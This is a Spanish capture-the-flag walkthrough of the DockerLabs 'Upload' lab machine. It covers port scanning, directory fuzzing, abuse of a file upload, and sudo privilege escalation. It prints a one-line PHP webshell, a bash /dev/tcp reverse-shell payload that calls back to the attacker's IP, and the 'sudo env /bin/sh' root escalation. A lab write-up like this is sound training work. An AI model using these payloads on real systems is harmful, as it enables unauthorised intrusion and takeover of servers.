Máquina: Upload
SO: Linux
Nivel: Muy Facil
DockerLabs


img

1. Descubrimos puertos y servicios de la maquina.

sudo nmap -p- --open -T5 -sCV --min-rate=5000 -n -Pn 172.17.0.2

img

2. En la web tenemos una subida de archivos.

http://172.17.0.2

img

3. Hago fuzzing de directorios y ficheros en la web.

gobuster dir -u http://172.17.0.2/ -w /usr/share/seclists/Discovery/Web-Content/directoy-list-2.3-medium.txt -x html,php,txt -q

img

4. En el php tenemos la misma subida de archivos, y en uploads supongo que se almacena todo lo subido.

http://172.17.0.2/upload.php

http://172.17.0.2/uploads/

img img

5. Creo un php para subirlo y obtener una webshell, nuestro php lo encontramos en uploads.

echo '<?php system($_GET["cmd"]);?>' > shell.php

img img img

6. Me pongo en escucha con nc para recibir la reverse shell.

nc -nlvp 4000

http://172.17.0.2/uploads/shell.php?cmd= bash -c "bash -i >%26 /dev/tcp/192.168.18.8/4000 0>%261"

img img

7. Revisando los permisos sudo, tengo este binario que puedo ejecutarlo como root.

sudo -l

img

8. Escalando privilegios a root, busco en gtfobins sobre el binario.

sudo env /bin/sh

img


Finalizado.